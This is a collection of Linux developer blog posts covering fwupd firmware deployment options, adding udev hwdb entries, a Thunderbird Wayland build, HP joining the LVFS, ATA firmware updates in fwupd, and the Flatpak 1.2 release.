Download and deploy firmware as part of an immutable image

If you’re shipping an image, you can just dump the .cab files into a directory in the deployment along with something like /etc/fwupd/remotes.d/immutable.conf (only on fwupd >= 1.2.3):

[fwupd Remote]
Enabled=false
Title=Vendor (Automatic)
Keyring=none
MetadataURI=file:///usr/share/fwupd/remotes.d/vendor/firmware

Then once you disable the LVFS, running fwupdmgr or fwupdtool will use only the cabinet archives you deploy in your immutable image (or even from an .rpm for that matter). Of course, you’re deploying a larger image because you might have several firmware files included, but this is how Google ChromeOS is using fwupd.

Sync all the public firmware from the LVFS to a local directory

You can use Pulp to mirror the entire contents of the LVFS (not private or embargoed firmware, for obvious reasons). Create a repo pointing to PULP_MANIFEST and then sync that on a regular basis to download the metadata and firmware. The Pulp documentation can explain how to set all this up. Make sure the local files are available from a webserver in your private network using SSL.

Then, disable the LVFS by deleting/modifying lvfs.conf and then create a myprivateserver.conf file on the clients /etc/fwupd/remotes.d:

[fwupd Remote]
Enabled=true
Type=download
Keyring=gpg
MetadataURI=https://my.private.server/mirror/firmware.xml.gz
FirmwareBaseURI=https://my.private.server/mirror

Export a share to all clients

Again, use Pulp to create a big directory holding all the firmware (currently ~10GB), and keep it synced. This time create a NFS or Samba share and export it to clients. Map the folder on clients, and then create a myprivateshare.conf file in /etc/fwupd/remotes.d:

[fwupd Remote]
Enabled=false
Title=Vendor
Keyring=none
MetadataURI=file:///mnt/myprivateshare/fwupd/remotes.d/firmware.xml.gz
FirmwareBaseURI=file:///mnt/myprivateshare/fwupd/remotes.d

Create your own LVFS instance

The LVFS is a free software Python 3 Flask application and can be set up internally, or even externally for that matter. You have to configure much more this way, including things like generating your own GPG keys, uploading your own firmware and setting up users and groups on the server. Doing all this has a few advantages, namely:

  • You can upload your own private firmware and QA it, only pushing it to stable when ready
  • You don’t ship firmware which you didn’t upload
  • You can control the staged deployment, e.g. only allowing the same update to be deployed to 1000 servers per day
  • You can see failure reports from clients, to verify if the deployment is going well
  • You can see nice graphs about how many updates are being deployed across your organisation

I’m hoping to make the satellite deployment LVFS use cases more concrete, and hopefully add some code to the LVFS to make this easier, although it’s not currently required for any Red Hat customer. Certainly a “setup wizard” would make setting up the LVFS much easier than obscure commands on the console.

Comments welcome.

Adding entries to the udev hwdb

Posted by Peter Hutterer on February 14, 2019 01:40 AM

In this blog post, I'll explain how to update systemd's hwdb for a new device-specific entry. I'll focus on input devices, as usual.

What is the hwdb and why do I need to update it?

The hwdb is a binary database sitting at /etc/udev/hwdb.bin and /usr/lib/udev/hwdb.d. It is usually used to apply udev properties to specific devices, those properties are then picked up by other processes (udev builtins, libinput, ...) to apply device-specific behaviours. So you'll need to update the hwdb if you need a specific behaviour from the device.

One of the use-cases I commonly deal with is that some touchpad announces wrong axis ranges or resolutions. With the correct hwdb entry (see the example later) udev can correct these at device initialisation time and every process sees the right axis ranges.

The database is compiled from the various .hwdb files you have sitting on your system, usually in /etc/udev/hwdb.d and /usr/lib/hwdb.d. The terser format of the hwdb files makes them easier to update than, say, writing a udev rule to set those properties.

The full process goes something like this:

  • The various .hwdb files are installed or modified
  • The hwdb.bin file is generated from the .hwdb files
  • A udev rule triggers the udev hwdb builtin. If a match occurs, the builtin prints the to-be properties, and udev captures the output and applies it as udev properties to the device
  • Some other process (often a different udev builtin) reads the udev property value and does something.
On its own, the hwdb is merely a lookup tool though, it does not modify devices. Think of it as a virtual filing cabinet, something will need to look at it, otherwise it's just dead weight.

An example for such a udev rule from 60-evdev.rules contains:


IMPORT{builtin}="hwdb --subsystem=input --lookup-prefix=evdev:", \
RUN{builtin}+="keyboard", GOTO="evdev_end"
The IMPORT statement translates as "look up the hwdb, import the properties". The RUN statement runs the "keyboard" builtin which may change the device based on the various udev properties now set. The GOTO statement goes to skip the rest of the file.

So again, on its own the hwdb doesn't do anything, it merely prints to-be udev properties to stdout, udev captures those and applies them to the device. And then those properties need to be processed by some other process to actually apply changes.

hwdb file format

The basic format of each hwdb file contains two types of entries, match lines and property assignments (indented by one space). The match line defines which device it is applied to.

For example, take this entry from 60-evdev.hwdb:


# Lenovo X230 series
evdev:name:SynPS/2 Synaptics TouchPad:dmi:*svnLENOVO*:pn*ThinkPad*X230*
EVDEV_ABS_01=::100
EVDEV_ABS_36=::100
The match line is the one starting with "evdev", the other two lines are property assignments. Property values are strings, any interpretation to numeric values or others is to be done in the process that requires those properties. Noteworthy here: the hwdb can overwrite previously set properties, but it cannot unset them.

The match line is not specified by the hwdb beyond "it's a glob". The format to use is defined by the udev rule that invokes the hwdb builtin. Usually the format is:


someprefix:search criteria:
For example, the udev rule that applies for the match above is this one in 60-evdev.rules:

KERNELS=="input*", \
IMPORT{builtin}="hwdb 'evdev:name:$attr{name}:$attr{[dmi/id]modalias}'", \
RUN{builtin}+="keyboard", GOTO="evdev_end"
What does this rule do? $attr entries get filled in by udev with the sysfs attributes. So on your local device, the actual lookup key will end up looking roughly like this:

evdev:name:Some Device Name:dmi:bvnWhatever:bvR112355:bd02/01/2018:...
If that string matches the glob from the hwdb, you have a match.

Attentive readers will have noticed that the two entries from 60-evdev.rules I posted here differ. You can have multiple match formats in the same hwdb file. The hwdb doesn't care, it's just a matching system.

We keep the hwdb files matching the udev rules names for ease of maintenance so 60-evdev.rules keeps the hwdb files in 60-evdev.hwdb and so on. But this is just for us puny humans, the hwdb will parse all files it finds into one database. If you have a hwdb entry in my-local-overrides.hwdb it will be matched. The file-specific prefixes are just there to not accidentally match against an unrelated entry.

Applying hwdb updates

The hwdb is a compiled format, so the first thing to do after any changes is to run


$ systemd-hwdb update
This command compiles the files down to the binary hwdb that is actually used by udev. Without that update, none of your changes will take effect.

The second thing is: you need to trigger the udev rules for the device you want to modify. Either you do this by physically unplugging and re-plugging the device or by running


$ udevadm trigger
or, better, trigger only the device you care about to avoid accidental side-effects:

$ udevadm trigger /sys/class/input/eventXYZ
In case you also modified the udev rules you should re-load those too. So the full quartet of commands after a hwdb update is:

$ systemd-hwdb update
$ udevadm control --reload-rules
$ udevadm trigger
$ udevadm info /sys/class/input/eventXYZ
That udevadm info command lists all assigned properties, these should now include the modified entries.

Adding new entries

Now let's get down to what you actually want to do, adding a new entry to the hwdb. And this is where it also get's tricky to have a generic guide because every hwdb file has its own custom match rules.

The best approach is to open the .hwdb files and the matching .rules file and figure out what the match formats are and which one is best. For USB devices there's usually a match format that uses the vendor and product ID. For built-in devices like touchpads and keyboards there's usually a dmi-based match format (see /sys/class/dmi/id/modalias). In most cases, you can just take an existing entry and copy and modify it.

My recommendation is: add an extra property that makes it easy to verify the new entry is applied. For example do this:


# Lenovo X230 series
evdev:name:SynPS/2 Synaptics TouchPad:dmi:*svnLENOVO*:pn*ThinkPad*X230*
EVDEV_ABS_01=::100
EVDEV_ABS_36=::100
FOO=1
Now run the update commands from above. If FOO=1 doesn't show up, then you know it's the hwdb entry that's not yet correct. If FOO=1 does show up in the udevadm info output, then you know the hwdb matches correctly and any issues will be in the next layer.

Increase the value with every change so you can tell whether the most recent change is applied. And before your submit a pull request, remove the FOOentry.

Oh, and once it applies correctly, I recommend restarting the system to make sure everything is in order on a freshly booted system.

Troubleshooting

The reason for adding hwdb entries is always because we want the system to handle a device in a custom way. But it's hard to figure out what's wrong when something doesn't work (though 90% of the time it's a typo in the hwdb match).

In almost all cases, the debugging sequence is the following:

  • does the FOO property show up?
  • did you run systemd-hwdb update?
  • did you run udevadm trigger?
  • did you restart the process that requires the new udev property?
  • is that process new enough to have support for that property?
If the answer to all these is "yes" and it still doesn't work, you may have found a bug. But 99% of the time, at least one of those is a sound "no. oops.".

Your hwdb match may run into issues with some 'special' characters. If your device has e.g. an ® in its device name (some Microsoft devices have this), a bug in systemd caused the match to fail. That bug is fixed now but until it's available in your distribution, replace with an asterisk ('*') in your match line.

Greybeards who have been around since before 2014 (systemd v219) may remember a different tool to update the hwdb: udevadm hwdb --update. This tool still exists, but it does not have the exact same behaviour as systemd-hwdb update. I won't go into details but the hwdb generated by the udevadm tool can provide unexpected matches if you have multiple matches with globs for the same device. A more generic glob can take precedence over a specific glob and so on. It's a rare and niche case and fixed since systemd v233 but the udevadm behaviour remained the same for backwards-compatibility.

Happy updating and don't forget to add Database Administrator to your CV when your PR gets merged.

Thunderbird for Wayland

Posted by Martin Stransky on February 08, 2019 09:09 AM

While Firefox is already built with Wayland by Mozilla (thx. Mike Hommey) and also Fedora ships Firefox Wayland, Thunderbird users (me included) are missing it. But why to care about it anyway?

Wayland compositors have one great feature (at least for me), they perform screen scale independently on actual hardware. So I can set 200% desktop scale on semi HiDPI monitor (4K & 28″) and all Wayland applications work immediately at that scale without font adjustments/various DPI tweaks/etc.

So here comes the Thunderbird with Wayland backend. I generally did the package for my personal needs and you can have it too 🙂 Just get it from Fedora repos as

dnf install thunderbird-wayland

You’ll receive ‘Thunderbird on Wayland’ application entry which can be registered as default Mail at

Settings -> Details -> Default Applications

Some background info:  recent stable Thunderbird (thunderbird-60.5.0) is based on Firefox ESR60 line and I backported related parts from latest stable Firefox 65. Some code couldn’t be ported and there are still issues with Wayland backend (misplaced menus on multi-monitor setup for instances) so use the bird on your own risk.

 

childbird

Please welcome HP to the LVFS

Posted by Richard Hughes on February 01, 2019 08:50 PM

As some of you have successfully guessed, HP Inc have been testing the LVFS for a few months now. There are now a few devices by HP available in the stable metadata and there are many more devices planned. If you’ve got a Z2, Z6, Z8, Z440, Z640 or Z840 system then you might want to check for an update in the GNOME Software updates panel or using fwupdmgr update in the terminal. There are quite a few updates with important fixes for various CVEs. I don’t know how many different models of HP hardware they are planning to support, or the order that they will be uploaded but I’m happy with progress.

With the addition of HP, the LVFS now has most major OEMs uploading firmware. There are a few exceptions, but even seemingly-unlikely companies like Microsoft are still interested in shipping firmware on the LVFS in the future. If you want to know more about joining the LVFS, please just send me an email.

ATA/ATAPI Support in fwupd

Posted by Richard Hughes on January 30, 2019 08:17 AM

A few vendors have been testing the NVMe firmware update code, and so far so good; soon we should have three more storage vendors moving firmware to stable. A couple of vendors also wanted to use the hdparm binary to update SATA hardware that’s not using the NVMe specification. A quick recap of the difference:

  • NVMe: Faster, more expensive controller, one cut-out in the M.2 PCB header
  • SATA: Slower, less expensive to implement, standard SATA or PATA connector, or two cut-outs in the M.2 PCB header

I’ve just merged a plugin developed with the donation of hardware and support of Star Labs. Any ATA-compatible drive (even DVD drives) supporting ATA_OP_DOWNLOAD_MICROCODE should be updatable using this new plugin, but you need to verify the TransferMode (e.g. 0x3, 0x7 or 0xe) before attempting an update to prevent data loss. Rather than calling into hdparm and screenscraping the output, we actually set up the sg_io_hdr_t structure and CDB buffer in the fwupd plugin to ensure it always works reliably without any additional dependencies. We only use two ATA commands and we can share a lot of the infrastructure with other plugins. For nearly all protocols, on nearly all devices, updating firmware is really a very similar affair.

There should soon be firmware on the LVFS that updates the StarDrive in the Star Lite laptop. I opened up the Star Lite today to swap the M.2 SSD to one with an old version and was amazed to find that it’s 80% battery inside; it reminded me of the inside of an iPad. Really impressive engineering considering the performance.

If any vendor is interested in deploying updates on the LVFS using the new ata plugin please let me know. Comments welcome.

Whats new in Flatpak 1.2

Posted by Matthias Clasen on January 28, 2019 06:21 PM

Time flies, Flatpak 1.0 was released four months ago.  Today we released the next major version, Flatpak 1.2. Lets take a look at what’s new.

New User Experience

A lot of effort since 1.0 has gone into improving the commandline user experience. This includes everything from better progress reporting to search and completion.

I’ve already written a detailed post about this aspect of the Flatpak 1.2 work, so I not going to say much more about it here.

Life-cycle control

1.2 includes new commands which make it easier to manage running Flatpaks.

Like other containers, Flatpaks are just regular processes, so traditional tools like ps and kill can be used with them. But there is often a bit more to a Flatpak sandbox than just a single process – there’s a babysitter, and D-Bus proxies,  and it can be a little daunting to identify the right process to kill, in a process listing.

To make this easy and obvious, we’ve added two new commands, flatpak ps and flatpak kill. For now, flatpak ps just lists basic information, but it is the natural place to show e.g. resource consumption in the future.

This functionality is available to other Flatpak front ends as well, in the form of the FlatpakInstance API in libflatpak.

Logging

Installing software is serious business, and it is well worth keeping a record of changes over time.

Flatpak now logs changes to installations and installed apps in the systemd journal. We take advantage of the capabilities offered by the journal, and write structured logs that contain useful fields like the affected remote, the commit IDs, and so on.

A particularly nice feature of the journal is that it keeps track of the originator of changes for us, so even if Flatpaks system-helper service is modifying the system installation, we still record the user who initiated the change.

You can of course use journalctl to study these logs. We also added a flatpak history command, which may be a bit more convenient, since it offers filtering and display that is more tailored to the specfics of Flatpak.

In the ecosystem

Portals are an important part of the Flatpak approach, and we’ve made releases of the portals to go along with the new Flatpak.  The 1.2 release of the portals brings a new location portal, a new portal for toolkit settings, respecting desktop lockdown settings, and better validation of input in all portals.

Flatpak itself also got some changes that will improve sandboxing in the future. One noteworthy change is that Flatpak will now bind dconf defaults and locks into the sandbox.  This will become useful with the next GLib release, when GSettings will no longer be using the dconf backend, allowing us to close an all-to-common sandbox hole.

In a similar vein, Flatpak is now creating a fontconfig configuration snipplet that will be used by a future fontconfig release to map font directories to their caches.

The common theme in these changes is that the libraries in the runtime need some changes to work well in a sandboxed setting. Getting these changes in place takes time, but we’re making steady progress.

Over the fence

On the desktop side, both GNOME Settings and GNOME Software will show Flatpak permissions in more detail in their upcoming releases.

Looking ahead

Now that Flatpak 1.2 is out, we are getting  ready to unveil a much-improved Flathub. Stay tuned!